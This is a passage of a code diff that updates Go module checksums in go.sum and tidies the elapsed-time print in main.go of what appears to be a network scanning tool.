+golang.org/x/term v0.5.0 h1:n2a8QNdAb0sZNpU9R1ALUXBbY+w51fCQDN+7EdxNBsY=
 golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
 golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
 golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
-golang.org/x/text v0.3.3 h1:cokOdA+Jmi5PJGXLlLllQSgYigAEfHXJAERHVMaCc2k=
 golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
+golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
+golang.org/x/text v0.7.0 h1:4BRB4x83lYWy72KwLD/qYDuTu7q9PjSagHvijDw7cLo=
+golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
 golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
 golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
 golang.org/x/tools v0.0.0-20180221164845-07fd8470d635/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
@@ -333,16 +367,19 @@ golang.org/x/tools v0.0.0-20190312170243-e65039ee4138/go.mod h1:LCzVGOaR6xXOjkQ3
 golang.org/x/tools v0.0.0-20190328211700-ab21143f2384/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
 golang.org/x/tools v0.0.0-20190425150028-36563e24a262/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
 golang.org/x/tools v0.0.0-20190506145303-2d16b83fe98c/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
-golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
 golang.org/x/tools v0.0.0-20190606124116-d0a3d012864b/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
 golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
 golang.org/x/tools v0.0.0-20190628153133-6cdbf07be9d0/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
 golang.org/x/tools v0.0.0-20190816200558-6889da9d5479/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
 golang.org/x/tools v0.0.0-20190911174233-4f2ddba30aff/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
 golang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
+golang.org/x/tools v0.0.0-20191029041327-9cc4af7d6b2c/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
+golang.org/x/tools v0.0.0-20191029190741-b9c20aec41a5/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
 golang.org/x/tools v0.0.0-20191112195655-aa38f8e97acc/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
 golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
 golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0=
+golang.org/x/tools v0.1.12 h1:VveCTK38A2rkS8ZqFY25HIDFscX5X9OoEhJd3quQmXU=
+golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
 golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
 golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
 golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
@@ -365,16 +402,14 @@ google.golang.org/genproto v0.0.0-20190801165951-fa694d86fc64/go.mod h1:DMBHOl98
 google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
 google.golang.org/genproto v0.0.0-20190911173649-1774047e7e51/go.mod h1:IbNlFCBrqXvoKpeg0TB2l7cyZUmoaFKYIwrEpbDKLA8=
 google.golang.org/genproto v0.0.0-20191108220845-16a3f7862a1a/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
-google.golang.org/genproto v0.0.0-20200305110556-506484158171/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
-google.golang.org/genproto v0.0.0-20200416231807-8751e049a2a0 h1:N5O9PpTbQrkvH0IQ1q+mmGyg8Gt6iKcu6b6+gmz3jnA=
-google.golang.org/genproto v0.0.0-20200416231807-8751e049a2a0/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
+google.golang.org/genproto v0.0.0-20221027153422-115e99e71e1c h1:QgY/XxIAIeccR+Ca/rDdKubLIU9rcJ3xfy1DC/Wd2Oo=
+google.golang.org/genproto v0.0.0-20221027153422-115e99e71e1c/go.mod h1:CGI5F/G+E5bKwmfYo09AXuVN4dD894kIKUFmVbP2/Fo=
 google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=
 google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38=
 google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM=
-google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg=
-google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
-google.golang.org/grpc v1.27.1 h1:zvIju4sqAGvwKspUQOhwnpcqSbzi7/H6QomNNjTL4sk=
-google.golang.org/grpc v1.27.1/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
+google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
+google.golang.org/protobuf v1.28.1 h1:d0NfwRgPtno5B1Wa6L2DAG+KivqkdutMf1UhdNx175w=
+google.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=
 gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw=
 gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
 gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127 h1:qIbj1fsPNlZgppZ+VLlY7N33q108Sa+fhmuc+sWQYwY=
@@ -386,14 +421,17 @@ gopkg.in/yaml.v2 v2.0.0-20170812160011-eb3733d160e7/go.mod h1:JAlM8MvJe8wmxCU4Bl
 gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
 gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
 gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
+gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
+gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=
 gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
 gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
-gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b h1:h8qDotaEPuJATrMmW04NCwg7v22aHH28wwpauUhK9Oo=
 gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
+gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
+gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
 honnef.co/go/js/dom v0.0.0-20200509013220-d4405f7ab4d8/go.mod h1:sUMDUKNB2ZcVjt92UnLy3cdGs+wDAcrPdV3JP6sVgA4=
 honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
 honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
 honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
-honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
+honnef.co/go/tools v0.0.1-2019.2.3 h1:3JgtbtFHMiCmsznwGVTUWbgGov+pVqnlf1dEJTNAXeM=
 honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg=
 rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=

main.go

@@ -13,6 +13,5 @@ func main() {
 	common.Flag(&Info)
 	common.Parse(&Info)
 	Plugins.Scan(Info)
-	t := time.Now().Sub(start)
-	fmt.Printf("[*] 扫描结束,耗时: %s", t)
+	fmt.Printf("[*] 扫描结束,耗时: %s\n", time.Since(start))
 }